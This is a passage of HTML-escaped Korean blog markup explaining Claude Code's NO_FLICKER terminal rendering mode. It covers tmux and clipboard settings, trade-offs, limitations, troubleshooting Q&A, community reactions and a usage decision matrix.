      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;을
    추가한다. 추가로 VS Code 터미널에서 마우스 휠 스크롤이 느리다면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_SCROLL_SPEED=5&lt;/code&gt;
    정도로 높이는 것이 도움이 된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 tmux
    환경에서의 설정&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;tmux에서 마우스 휠 스크롤을 사용하려면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.tmux.conf&lt;/code&gt;에
    다음을 추가해야 한다:&lt;/p&gt;
  &lt;pre class=&quot;applescript&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# ~/.tmux.conf
set -g mouse on&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.&lt;/p&gt;
  &lt;!-- callout: red --&gt;
  &lt;div
    style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: &lt;code
        style=&quot;background: rgba(0,0,0,0.08); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;tmux -CC&lt;/code&gt;(iTerm2
      통합 모드)와는 &lt;b&gt;비호환&lt;/b&gt;이다. alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.3 클립보드 경로
    이해&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;클립보드 복사 경로는 환경에 따라 다르다:&lt;/p&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;tmux 내&lt;/b&gt;: tmux paste buffer에 쓴다&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;SSH 환경&lt;/b&gt;: OSC 52 이스케이프 시퀀스로 폴백 (일부 터미널에서 기본 차단)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;복사 후 어떤 경로를 사용했는지 토스트로 표시된다&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 8 --&gt;
  &lt;h2 id=&quot;section8&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트레이드오프&amp;nbsp; &amp;mdash; 무엇을 잃는가&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 깜빡임을 제거하는 대가로 기존 터미널 동작 일부를 변경한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X/Twitter에서&lt;/a&gt; 이 트레이드오프를
    솔직하게 공개했다.&lt;/p&gt;
  &lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
    &lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2039421575422980329&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 20px 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;boris_cherny X/Twitter&lt;/a&gt; &amp;mdash; NO_FLICKER의 장점과 트레이드오프 설명&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.1
    Before/Now 비교표&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          기존 동작&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          NO_FLICKER 모드 (v2.1.88+)&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          우회 방법&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
          또는 tmux 검색&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
          &amp;rarr; &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;로
          인앱 검색&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
          &amp;rarr; &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
          네이티브 스크롤백에 쓴 뒤 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
          사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;네이티브 클릭-드래그 선택/복사&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인앱 선택, 마우스 릴리스 시 자동 복사&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/config&lt;/code&gt;에서
          &quot;Copy on select&quot; 끄고 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Shift+c&lt;/code&gt;
          수동 복사&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd&lt;/code&gt;-클릭으로
          URL 열기&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클릭으로 URL 열기&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음 (더 간편해짐)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이 표에서 주목할 점은 세 번째 행이다 &amp;mdash; URL 열기는 오히려 더 간편해진다. 가장 큰 불편은 네이티브 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;
    검색의 부재인데, &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
    &amp;rarr; &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
    네이티브 스크롤백에 쓰는 우회 방법이 공식적으로 제공된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.2 마우스 캡처
    비활성화 옵션 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;마우스 캡처가 워크플로우를 방해하는 경우, &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_DISABLE_MOUSE=1&lt;/code&gt;로
    마우스 캡처만 비활성화할 수 있다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;CLAUDE_CODE_NO_FLICKER=1 CLAUDE_CODE_DISABLE_MOUSE=1 claude&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;flicker-free 렌더링과 flat memory는 유지하면서 키보드 스크롤은 계속 동작한다. 대신 클릭-투-커서, 클릭-투-확장, URL 클릭, 휠 스크롤을
    잃는다. 터미널이 네이티브로 선택을 처리하게 된다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 9 --&gt;
  &lt;h2 id=&quot;section9&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.1 Research
    Preview 상태&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER는 research preview이다. 일반적인 터미널 에뮬레이터에서 테스트되었지만, 드문 터미널이나 특이한 설정에서는 렌더링 문제가 발생할 수
    있다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.2 tmux -CC
    비호환&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;iTerm2의 tmux 통합 모드(&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;tmux -CC&lt;/code&gt;)에서는
    alternate screen buffer와 마우스 트래킹이 정상 작동하지 않는다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.3 SSH 환경의
    클립보드&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;SSH 환경에서 복사 시 OSC 52 이스케이프 시퀀스로 폴백하는데, 일부 터미널에서 기본 차단된다. 해당 터미널의 설정에서 OSC 52를 허용해야 한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.4 스크롤 가속도
    차이&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny에 따르면, 스크롤 가속도가 기기마다 다르며 물리감 튜닝이 진행 중이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9.5 문제 보고 방법
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;문제 발생 시 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/feedback&lt;/code&gt;
    명령 또는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issues&lt;/a&gt;에 터미널 에뮬레이터 이름과 버전을 포함하여 보고한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 10 --&gt;
  &lt;h2 id=&quot;section10&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
  &lt;!-- Q&amp;A 박스 --&gt;
  &lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 20px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;Q&amp;amp;A&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. NO_FLICKER 모드를 켰는데 마우스 휠 스크롤이 안 된다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;tmux 환경이라면 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;이
      &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.tmux.conf&lt;/code&gt;에
      있는지 확인한다. 키보드 스크롤(PgUp/PgDn)은 mouse 설정 없이도 동작한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Cmd+f로 검색이 안 된다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드에서는 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
      &amp;rarr; &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;로
      인앱 검색을 사용한다. 네이티브 검색이 필요하면 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
      &amp;rarr; &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;로
      대화 전체를 네이티브 스크롤백에 쓴 뒤 &lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;를
      사용한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. tmux -CC에서 화면이 깨진다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;tmux -CC(iTerm2 통합 모드)와 NO_FLICKER는 비호환이다. 일반 tmux 세션을 사용하거나,
      NO_FLICKER를 비활성화해야 한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 스크롤이 너무 느리다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED&lt;/code&gt;를
      3~5 정도로 설정한다. 3이 vim 기본값과 동일하다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 되돌리고 싶다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=0&lt;/code&gt;으로
      설정하거나 환경변수를 해제한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응 종합
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46699072&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN 토론&lt;/a&gt;에서는 두 가지 시각이 대립했다:
  &lt;/p&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;flickering 해결을 환영하면서도, &quot;기본적인 TUI 문제가 9개월이나 걸렸다&quot;는 비판&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;React/JavaScript 기반 TUI 선택에 대한 의문 &amp;mdash; ncurses, Rust의 Ratatui, Go의 Bubbletea 같은
      전통 프레임워크가 적합하지 않았냐는 지적&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;두 비판 모두 근거가 있으나, React 기반 선택은 Claude Code의 복잡한 렌더링 요구(scene graph, layout, diff)에서 비롯된 것이며,
    단순한 TUI 출력 도구와 직접 비교하기 어렵다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해 chrislloyd는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN에서&lt;/a&gt; React 기반 파이프라인의 기술적
    이유를 설명했다. 핵심은 Claude Code의 렌더링이 단순한 TUI가 아니라 React scene graph &amp;rarr; layout &amp;rarr; rasterize &amp;rarr; diff라는 복잡한
    파이프라인이라는 점이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X/Twitter에서&lt;/a&gt; &quot;대부분의 내부
    사용자가 기존 렌더러보다 NO_FLICKER 모드를 선호한다&quot;고 밝혔다. 적극적으로 반복 개선 중이며 피드백을 요청했다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;언제 쓰는가 / 언제
    쓰지 않는가&quot; 결정 매트릭스&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          환경/상황&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          권장&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          이유&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;VS Code 통합 터미널&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;xterm.js 렌더링 병목에서 효과가 가장 두드러진다&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tmux (일반 세션)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;
          추가 후 사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;iTerm2 (독립 실행)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;kitty 키보드 프로토콜 지원으로 Cmd+c도 동작&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tmux -CC (iTerm2 통합)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;쓰지 마라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;alternate screen buffer 비호환&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;긴 대화 세션 (100+ 턴)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 길이와 무관하게 일정한 메모리/CPU&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SSH + OSC 52 미지원 터미널&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클립보드 복사가 작동하지 않을 수 있다&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;드문/특이한 터미널 에뮬레이터&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;테스트 후 결정&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;research preview 상태, 렌더링 이슈 가능&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 없이 키보드만 사용&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜되 DISABLE_MOUSE=1 병용&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;flicker-free + flat memory 유지, 네이티브 선택 사용&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;요약하면, tmux -CC 환경이나 SSH over tmux 클립보드 경로가 불안정한 경우를 제외한 대부분의 시나리오에서 NO_FLICKER 모드를 켜는 것이
    이득이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=1 claude&lt;/code&gt;로
    현재 세션에서 테스트한다. 5분간 도구 호출이 많은 작업을 수행하며 깜빡임이 사라졌는지 확인한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: 문제가 없다면 셸 프로파일에 &lt;code
